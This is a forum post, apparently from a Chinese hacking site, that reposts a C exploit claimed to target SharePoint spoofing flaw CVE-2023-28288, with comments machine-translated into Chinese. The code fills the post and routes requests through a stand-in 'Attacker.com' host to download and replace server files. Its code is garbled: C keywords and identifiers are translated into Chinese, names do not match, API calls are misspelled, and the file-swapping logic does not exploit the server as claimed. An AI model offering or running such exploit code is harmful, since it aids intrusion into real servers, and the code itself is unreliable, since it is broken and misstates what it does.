H

Microsoft SharePoint Enterprise Server 2016-欺骗

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
//利用标题: Microsoft SharePoint Enterprise Server 2016-欺骗
//日期: 2023-06-20
//Country:伊朗
//利用作者: Amirhossein Bahramizadeh
//类别:远程
//供应商HomePage:
//Microsoft SharePoint Foundation 2013 Service Pack 1
//Microsoft SharePoint服务器订阅版
//Microsoft SharePoint Enterprise Server 2013 Service Pack 1
//Microsoft SharePoint Server 2019
//Microsoft SharePoint Enterprise Server 2016
//在: Windows/Linux上测试
//CVE : CVE-2023-28288
#include windows.h
#include stdio.h
//脆弱的SharePoint服务器URL
const char *server_url='http://example.com/';
//伪造的SharePoint服务器的URL
const char *face_url='http://Attacker.com/';
//脆弱的SharePoint服务器文件名称
const char *file_name='vuln_file.aspx';
//伪造的SharePoint服务器文件名称
const char *face_file_name='face_file.aspx';
int main()
{
处理文件;
dword bytes_writeten;
char file_contents [1024];
//创建假文件内容
sprintf(file_contents,'htmlhead/headbodypthis是一个假文件。/p/body/html');
//将假文件写入磁盘
file=createfile(fake_file_name,generic_write,0,null,create_always,file_attribute_normal,null);
if(file==invalid_handle_value)
{
printf('错误创建假文件:%d \ n',getLasterRor());
返回1;
}
if(!writefile(file,file_contents,strlen(file_contents),bytes_writeten,null))
{
printf('错误编写假文件:%d \ n',getlastror());
CloseHandle(文件);
返回1;
}
CloseHandle(文件);
//将请求发送到脆弱的SharePoint服务器以下载文件
sprintf(file_contents,'%s%s',server_url,file_name);
file=createfile(file_name,generic_write,0,null,create_always,file_attribute_normal,null);
if(file==invalid_handle_value)
{
printf('错误创建脆弱的file:%d \ n',getLasterRor());
返回1;
}
if(!InternetReadFileurl(file_contents,file))
{
printf('错误下载脆弱的file:%d \ n',getLasterRor());
CloseHandle(文件);
返回1;
}
CloseHandle(文件);
//用假文件替换弱势文件
如果(!deletefile(file_name))
{
printf('错误删除脆弱的file:%d \ n',getLasterRor());
返回1;
}
if(!movefile(face_file_name,file_name))
{
printf('错误替换脆弱的file:%d \ n',getlastror());
返回1;
}
//将请求发送到脆弱的SharePoint服务器以触发漏洞
sprintf(file_contents,'%s%s',server_url,file_name);
if(!internetReadFileurl(file_contents,null))
{
printf('错误触发漏洞:%d \ n',getLasterRor());
返回1;
}
//打印一条消息,指示该漏洞已被利用
printf(成功利用漏洞。\ n');
返回0;
}
Bool InternetReadFileurl(const char *url,处理文件)
{
Hinternet Internet,连接,请求;
dword bytes_read;
char缓冲区[1024];
//打开互联网连接
Internet=InternetOpen('Mozilla/5.0(Windows NT 10.0; Win64; x64)',Internet_open_type_preconfig,null,null,null,0);
如果(Internet==null)
{
返回false;
}
//连接到服务器
Connection=Internet Connect(Internet,Fake_url,Internet_default_http_port,null,null,Internet_service_http,0,0,0);
如果(连接==null)
{
InternetCloseHandle(Internet);
返回false;
}
//发送HTTP请求
请求=httpopenrequest(连接,'get',url,null,null,null,null,0,0);
如果(请求==null)
{
InternetCloseHandle(连接);
InternetCloseHandle(Internet);
返回false;
}
如果(!httpsendrequest(请求,null,0,null,0))
{
InternetCloseHandle(请求);
InternetCloseHandle(连接);
InternetCloseHandle(Internet);
返回false;
}
//阅读响应数据
while(InternetReadFile(请求,缓冲区,sizeof(buffer),bytes_read)bytes_read 0)
{
如果(文件!=null)
{
//将数据写入磁盘
如果(!writefile(文件,buffer,bytes_read,bytes_read,null))
{
InternetCloseHandle(请求);
InternetCloseHandle(连接);
InternetCloseHandle(Internet);
返回false;
}
}
}
InternetCloseHandle(请求);
InternetCloseHandle(连接);
InternetCloseHandle(Internet);
返回true;
}
 
后退
顶部